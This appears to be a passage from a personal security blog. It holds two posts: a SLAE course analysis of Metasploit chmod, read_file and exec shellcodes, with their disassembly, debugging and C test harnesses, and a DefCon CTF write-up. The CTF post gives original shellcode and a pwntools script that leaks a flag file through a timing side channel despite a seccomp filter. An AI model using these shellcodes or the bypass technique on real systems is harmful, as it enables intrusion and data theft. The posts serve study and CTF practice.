Saved as: /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-chmod-shellcode</code>
</pre>
<br />
We dissasemble the shellcode with ndisasm and look the code:<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ cat msf-chmod-shellcode | ndisasm -u -
00000000 99 cdq
00000001 6A0F push byte +0xf
00000003 58 pop eax
00000004 52 push edx
00000005 E809000000 call dword 0x13
0000000A 736C jnc 0x78
0000000C 61 popad
0000000D 652E7478 cs jz 0x89
00000011 7400 jz 0x13
00000013 5B pop ebx
00000014 68B6010000 push dword 0x1b6
00000019 59 pop ecx
0000001A CD80 int 0x80
0000001C 6A01 push byte +0x1
0000001E 58 pop eax
0000001F CD80 int 0x80
</code>
</pre>
<br />
First, we analyze the shellcode with libemu to show which are the syscalls that the shellcode is called. For it, we looked the eax register before the int 0x80 instruction.
Look the highlight (0x0f - chmod)<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ cat msf-chmod-shellcode | sctest -vvv -Ss 1000000
verbose = 3
[emu 0x0x8975078 debug ] cpu state eip=0x00417000
[emu 0x0x8975078 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x8975078 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x8975078 debug ] Flags:
[emu 0x0x8975078 debug ] cpu state eip=0x00417000
[emu 0x0x8975078 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x8975078 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x8975078 debug ] Flags:
[emu 0x0x8975078 debug ] 99 cwd
[emu 0x0x8975078 debug ] cpu state eip=0x00417001
[emu 0x0x8975078 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x8975078 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x8975078 debug ] Flags:
[emu 0x0x8975078 debug ] 6A0F push byte 0xf
[emu 0x0x8975078 debug ] cpu state eip=0x00417003
[emu 0x0x8975078 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x8975078 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x8975078 debug ] Flags:
[emu 0x0x8975078 debug ] 58 pop eax
[emu 0x0x8975078 debug ] cpu state eip=0x00417004
[emu 0x0x8975078 debug ] eax=0x0000000f ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x8975078 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x8975078 debug ] Flags:
[emu 0x0x8975078 debug ] 52 push edx
[emu 0x0x8975078 debug ] cpu state eip=0x00417005
[emu 0x0x8975078 debug ] eax=0x0000000f ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x8975078 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x8975078 debug ] Flags:
[emu 0x0x8975078 debug ] E809000000 call 0xe
[emu 0x0x8975078 debug ] cpu state eip=0x00417013
[emu 0x0x8975078 debug ] eax=0x0000000f ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x8975078 debug ] esp=0x00416fc6 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x8975078 debug ] Flags:
[emu 0x0x8975078 debug ] 5B pop ebx
[emu 0x0x8975078 debug ] cpu state eip=0x00417014
[emu 0x0x8975078 debug ] eax=0x0000000f ecx=0x00000000 edx=0x00000000 ebx=0x0041700a
[emu 0x0x8975078 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x8975078 debug ] Flags:
[emu 0x0x8975078 debug ] 68B6010000 push dword 0x1b6
[emu 0x0x8975078 debug ] cpu state eip=0x00417019
[emu 0x0x8975078 debug ] eax=0x0000000f ecx=0x00000000 edx=0x00000000 ebx=0x0041700a
[emu 0x0x8975078 debug ] esp=0x00416fc6 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x8975078 debug ] Flags:
[emu 0x0x8975078 debug ] 59 pop ecx
[emu 0x0x8975078 debug ] cpu state eip=0x0041701a
[emu 0x0x8975078 debug ] eax=0x0000000f ecx=0x000001b6 edx=0x00000000 ebx=0x0041700a
[emu 0x0x8975078 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x8975078 debug ] Flags:
[emu 0x0x8975078 debug ] CD80 int 0x80
stepcount 8
[emu 0x0x8975078 debug ] cpu state eip=0x0041701c
[emu 0x0x8975078 debug ] eax=0x0000000f ecx=0x000001b6 edx=0x00000000 ebx=0x0041700a
[emu 0x0x8975078 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x8975078 debug ] Flags:
</code>
</pre>
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ cat msf-chmod-shellcode | sctest -vvv -Ss 1000000 -G msf-chmod-shellcode.dot
</code></pre>
<br />
Unfortunately, libemu doesn't recognize these syscalls, so, any graphic or source code in C language is shown.<br />
<br />
Our last step, to undertstand this shellcode, it is debug the program, using gdb (and peda).<br />
<br />
For this purpose, we generate the shellcode again, but this time, the
output will be in C language, before, I am going to compile it.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">root@HackingLab:/opt/metasploit-framework# ./msfvenom -p linux/x86/chmod -a x86 FILE=slae.txt -f c -o /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-chmod-shellcode.c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 33 bytes
Final size of c file: 165 bytes
Saved as: /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-chmod-shellcode.c
</code>
</pre>
<br />
We edit the msf-chmod-shellcode.c to compile as a program.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">#include<stdio .h="">
#include<string .h="">
unsigned char code[] =
"\x99\x6a\x0f\x58\x52\xe8\x09\x00\x00\x00\x73\x6c\x61\x65\x2e"
"\x74\x78\x74\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd\x80\x6a\x01"
"\x58\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
</string></stdio></code></pre>
<br />
And test it.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ gcc -fno-stack-protector -z execstack msf-chmod-shellcode.c -o msf-chmod-shellcode
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ chmod 000 slae.txt
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ ls -la slae.txt
---------- 1 hiro hiro 16 abr 15 13:08 slae.txt
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ ./msf-chmod-shellcode
Shellcode Length: 7
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ ls -la slae.txt
-rw-rw-rw- 1 hiro hiro 16 abr 15 13:08 slae.txt
</code>
</pre>
<br />
The shellcode is working.
Before the syscall we can look the registers eax, ebx and ecx.<br />
<br />
<code style="color: black; word-wrap: normal;">
</code>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;"> [----------------------------------registers-----------------------------------]
EAX: 0xf
EBX: 0x804976a ("slae.txt")
ECX: 0x1b6
EDX: 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff338 --> 0x0
ESP: 0xbffff318 --> 0x0
EIP: 0x804977a --> 0x16a80cd
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8049773 <code>: pop ebx
0x8049774 <code>: push 0x1b6
0x8049779 <code>: pop ecx
=> 0x804977a <code>: int 0x80
0x804977c <code>: push 0x1
0x804977e <code>: pop eax
0x804977f <code>: int 0x80
0x8049781 <code>: add BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbffff318 --> 0x0
0004| 0xbffff31c --> 0x8048469 (<main>: mov ecx,DWORD PTR [ebp-0x4])
0008| 0xbffff320 --> 0x1
0012| 0xbffff324 --> 0xbffff3e4 --> 0xbffff549 ("/home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-chmod-shellcode")
0016| 0xbffff328 --> 0xbffff3ec --> 0xbffff591 ("XDG_VTNR=7")
0020| 0xbffff32c --> 0x8049760 --> 0x580f6a99
0024| 0xbffff330 --> 0xb7fbf3c4 --> 0xb7fc01e0 --> 0x0
0028| 0xbffff334 --> 0xbffff350 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0804977a in code ()
gdb-peda$
</main></code></code></code></code></code></code></code></code></code></pre>
<a class="anchor" href="https://github.com/Sinkmanu/SLAE/tree/master/Assignment5#resume-of-how-the-shellcode-works" id="user-content-resume-of-how-the-shellcode-works"><svg class="octicon octicon-link" height="16" viewbox="0 0 16 16" width="16"></svg></a><br />
<br />
<b>Resume of how the shellcode works</b><br />
<br />
The chmod syscall needs the following arguments:<b> </b><br />
<code style="color: black; word-wrap: normal;">
</code>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">int chmod(const char *pathname, mode_t mode);
</code></pre>
<br />
so, eax register will be the syscall, 0xf, the pathname will be in ebx and the mode in ecx register.<br />
It is very simple to understand shellcode.<br />
<br />
<h4>
linux/x86/read_file</h4>
<h4>
<span style="font-weight: normal;"> First, we generate the shellcode with the command:</span> </h4>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">root@HackingLab:/opt/metasploit-framework# ./msfvenom -p linux/x86/read_file -a x86 PATH=/etc/passwd -o /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-read_file-shellcode
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 73 bytes
Saved as: /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-read_file-shellcode
root@HackingLab:/opt/metasploit-framework# ls -la /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-read_file-shellcode </code></pre>
<br />
Dissasemble the code with ndisasm<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ cat msf-read_file-shellcode | ndisasm -u -
00000000 EB36 jmp short 0x38
00000002 B805000000 mov eax,0x5
00000007 5B pop ebx
00000008 31C9 xor ecx,ecx
0000000A CD80 int 0x80
0000000C 89C3 mov ebx,eax
0000000E B803000000 mov eax,0x3
00000013 89E7 mov edi,esp
00000015 89F9 mov ecx,edi
00000017 BA00100000 mov edx,0x1000
0000001C CD80 int 0x80
0000001E 89C2 mov edx,eax
00000020 B804000000 mov eax,0x4
00000025 BB01000000 mov ebx,0x1
0000002A CD80 int 0x80
0000002C B801000000 mov eax,0x1
00000031 BB00000000 mov ebx,0x0
00000036 CD80 int 0x80
00000038 E8C5FFFFFF call dword 0x2
0000003D 2F das
0000003E 657463 gs jz 0xa4
00000041 2F das
00000042 7061 jo 0xa5
00000044 7373 jnc 0xb9
00000046 7764 ja 0xac
00000048 00 db 0x00
</code></pre>
<br />
We examinate the shellcode with libemu:<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ cat msf-read_file-shellcode | sctest -vvv -Ss 1000000
verbose = 3
[emu 0x0x82d8078 debug ] cpu state eip=0x00417000
[emu 0x0x82d8078 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x82d8078 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x82d8078 debug ] Flags:
[emu 0x0x82d8078 debug ] cpu state eip=0x00417000
[emu 0x0x82d8078 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x82d8078 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x82d8078 debug ] Flags:
[emu 0x0x82d8078 debug ] EB36 jmp 0x38
[emu 0x0x82d8078 debug ] cpu state eip=0x00417038
[emu 0x0x82d8078 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x82d8078 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x82d8078 debug ] Flags:
[emu 0x0x82d8078 debug ] E8C5FFFFFF call 0xffffffca
[emu 0x0x82d8078 debug ] cpu state eip=0x00417002
[emu 0x0x82d8078 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x82d8078 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x82d8078 debug ] Flags:
[emu 0x0x82d8078 debug ] B805000000 mov eax,0x5
[emu 0x0x82d8078 debug ] cpu state eip=0x00417007
[emu 0x0x82d8078 debug ] eax=0x00000005 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x82d8078 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x82d8078 debug ] Flags:
[emu 0x0x82d8078 debug ] 5B pop ebx
[emu 0x0x82d8078 debug ] cpu state eip=0x00417008
[emu 0x0x82d8078 debug ] eax=0x00000005 ecx=0x00000000 edx=0x00000000 ebx=0x0041703d
[emu 0x0x82d8078 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x82d8078 debug ] Flags:
[emu 0x0x82d8078 debug ] 31C9 xor ecx,ecx
[emu 0x0x82d8078 debug ] cpu state eip=0x0041700a
[emu 0x0x82d8078 debug ] eax=0x00000005 ecx=0x00000000 edx=0x00000000 ebx=0x0041703d
[emu 0x0x82d8078 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x82d8078 debug ] Flags: PF ZF
[emu 0x0x82d8078 debug ] CD80 int 0x80
stepcount 5
[emu 0x0x82d8078 debug ] cpu state eip=0x0041700c
[emu 0x0x82d8078 debug ] eax=0x00000005 ecx=0x00000000 edx=0x00000000 ebx=0x0041703d
[emu 0x0x82d8078 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x82d8078 debug ] Flags: PF ZF
</code></pre>
<br />
We can see the syscalls:<br />
0x5 - sys_open Open the file<br />
0x3 - sys_read Read the file<br />
0x4 - sys_write Used for write<br />
<br />
Very easy to understand reading the assembly code.
To execute, we compile the shellcode and debug it.
Generate the shellcode in C format.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">root@HackingLab:/opt/metasploit-framework# ./msfvenom -p linux/x86/read_file -f c -a x86 PATH=/etc/passwd -o /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-read_file-shellcode.c
</code></pre>
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">#include<stdio .h="">
#include<string .h="">
unsigned char code[] =
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00";
int main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
</string></stdio></code></pre>
<br />
Compile and run.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ gcc -fno-stack-protector -z execstack msf-read_file-shellcode.c -o msf-read_file
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ ./msf-read_file
Shellcode Length: 4
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
</code></pre>
<br />
<br />
<h4>
linux/x86/exec</h4>
<span style="font-weight: normal;"> As the msfvenom payload description says this shellcode "Execute an
arbitrary command". And We are going to understand how it works.</span><br />
The first step is generate the shellcode with the following command (we generated in C format too).<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">root@HackingLab:/opt/metasploit-framework# ./msfvenom -p linux/x86/exec CMD=id -a x86 -o /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-exec
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 38 bytes
Saved as: /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-exec
root@HackingLab:/opt/metasploit-framework# ./msfvenom -p linux/x86/exec CMD=id -f c -a x86 -o /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-exec.c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 38 bytes
Final size of c file: 185 bytes
Saved as: /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-exec.c
</code></pre>
<br />
We dissasemble the shellcode with ndisasm.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ cat msf-exec | ndisasm -u -
00000000 6A0B push byte +0xb
00000002 58 pop eax
00000003 99 cdq
00000004 52 push edx
00000005 66682D63 push word 0x632d
00000009 89E7 mov edi,esp
0000000B 682F736800 push dword 0x68732f
00000010 682F62696E push dword 0x6e69622f
00000015 89E3 mov ebx,esp
00000017 52 push edx
00000018 E803000000 call dword 0x20
0000001D 696400575389E1CD imul esp,[eax+eax+0x57],dword 0xcde18953
00000025 80 db 0x80
</code></pre>
<br />
We know the "/bin/sh" code is in<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">0000000B 682F736800 push dword 0x68732f
00000010 682F62696E push dword 0x6e69622f
</code></pre>
<br />
I thought that ndisasm did not dissasemble correctly the shellcode. So I compiled and debugged it with gdb.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ gcc -fno-stack-protector -z execstack msf-exec.c -o msf-exec
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ gdb -q ./msf-exec
Reading symbols from ./msf-exec...(no debugging symbols found)...done.
gdb-peda$ b *&code
Breakpoint 1 at 0x8049760
gdb-peda$ r
....
</code></pre>
<br />
I saw that the call dword 0x20 instruction is executed, the arguments are:<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">arg[0]: 0x0
arg[1]: 0x6e69622f ('/bin')
arg[2]: 0x68732f ('/sh')
arg[3]: 0x632d ('-c')
arg[4]: 0x84690000
And it call to code+32
0x804977f <code>: add BYTE PTR [edi+0x53],dl
0x8049782 <code>: mov ecx,esp
=> 0x8049784 <code>: int 0x80
0x8049786 <code>: add BYTE PTR [eax],al
0x8049788: add BYTE PTR [eax],al
0x804978a: add BYTE PTR [eax],al
0x804978c: add BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbffff32e --> 0xbffff33e ("/bin/sh")
0004| 0xbffff332 --> 0xbffff346 --> 0x632d ('-c')
0008| 0xbffff336 --> 0x804977d --> 0x57006469 ('id')
</code></code></code></code></code></pre>
<br />
The problem with ndisasm is that the line 0000001D is not dissasembled correctly.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">0000001D 696400575389E1CD imul esp,[eax+eax+0x57],dword 0xcde18953
</code></pre>
<br />
So, when we debugged the program, we understood how it works. When the syscall sys_execve (0xb) is called, the registers are:<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">EAX: 0xb ('\x0b')
EBX: 0xbffff33e ("/bin/sh")
ECX: 0xbffff32e --> 0xbffff33e ("/bin/sh")
EDX: 0x0
... and the stack:
0000| 0xbffff32e --> 0xbffff33e ("/bin/sh")
0004| 0xbffff332 --> 0xbffff346 --> 0x632d ('-c')
0008| 0xbffff336 --> 0x804977d --> 0x57006469 ('id')
</code></pre>
<br />
It works...<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ gcc -fno-stack-protector -z execstack msf-exec.c -o msf-exec
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ ./msf-exec
Shellcode Length: 15
uid=1000(hiro) gid=1000(hiro) groups=1000(hiro),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner)
</code></pre>
<br />
<br />
Source code: <a href="https://github.com/Sinkmanu/SLAE/tree/master/Assignment5">https://github.com/Sinkmanu/SLAE/tree/master/Assignment5</a>Sinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.com0tag:blogger.com,1999:blog-1075996046255539410.post-54757485119079075802017-05-08T20:55:00.002+02:002017-05-08T20:57:55.211+02:00Reading files without the write syscallRecently, I played in the DefCon CTF quals and there I saw a very interesting challenge called <i>Mute</i> [1]. It was a exploiting challenge, the flow control was very easy but the real challenge was in the libseccomp [2] bypass. It is a library to forbid syscalls that You don't want that the program executes. So, the write syscall wasn't allow.<br />
<br />
<br />
I had not success with this challenge, but These are to learn!!! So, later, I read the writeup and I saw how it could be solved. One possible solution could be get each character and set a delay if the character match. Like a blind-SQLi. <br />
<br />
<br />
I saw it very interesting, so I did my own shellcode to read characters and before I wrote a python script that uses this shellcode to read the file and print without the write syscall.<br />
<br />
It is the assembly code:<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
global _start
section .text
_start:
; sys_open
xor rax, rax
xor rdi, rdi
push rdi
mov rdi, 0x67616c662f2f2f2e ; .///flag 2e2f2f2f666c6167
push rdi
mov rdi, rsp ; *file
xor rsi, rsi ; flags
xor rdx, rdx ; mode
mov al, 2
syscall
mov rdi, rax ; fd
lea rsi, [rsp+8] ; *buf
or rdx, 0xf
xor rax, rax ; sys_read
syscall
; rsi is the string
xor rdx, rdx
mov rdx, 0x74 ; compare character
mov al, byte [rsi] ; position
cmp rax, rdx
jnz exit
; guess OK
xor r11, r11
mov r11, 0
delay:
inc r11
cmp r11, 0x7fffffff
jb delay
exit:
xor rdi, rdi
mov al, 60 ; sys_exit
syscall
</code>
</pre>
<br />
<br />
And it is the python script:<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
#!/usr/bin/env python
from pwn import *
import string
import time
context.log_level = 'error'
u = make_unpacker(64, endian='little', sign='unsigned')
filename = hex(u('.///flag'))
flag = ""
pos = -1
lastchar = 0
while (lastchar < len(string.printable)):
for i in string.printable:
start = time.time()
shellcode = '''
xor rax, rax
xor rdi, rdi
push rdi
mov rdi, %s
push rdi
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov al, 2
syscall
mov rdi, rax
lea rsi, [rsp+8]
or rdx, 0xf
xor rax, rax
syscall
xor rdx, rdx
mov rdx, %s
mov al, byte [rsi+%s]
cmp rax, rdx
jnz exit
xor r11, r11
mov r11, 0
delay:
inc r11
cmp r11, 0x7fffffff
jb delay
exit:
xor rdi, rdi
mov al, 60
syscall
'''%(filename,hex(ord(i)),str(pos))
lastchar += 1
p = run_assembly(shellcode, arch="amd64")
p.wait_for_close()
end = time.time()
if ((end - start) > 0.5):
pos += 1
lastchar = 0
print "Found: %s"%i
flag = "%s%s"%(flag,i)
print "[*] String: %s"%flag
</code>
</pre>
<br />
<br />
[1] <a href="https://ctftime.org/task/4126">https://ctftime.org/task/4126</a><br />
[2] <a href="https://github.com/seccomp/libseccomp">https://github.com/seccomp/libseccomp</a><br />
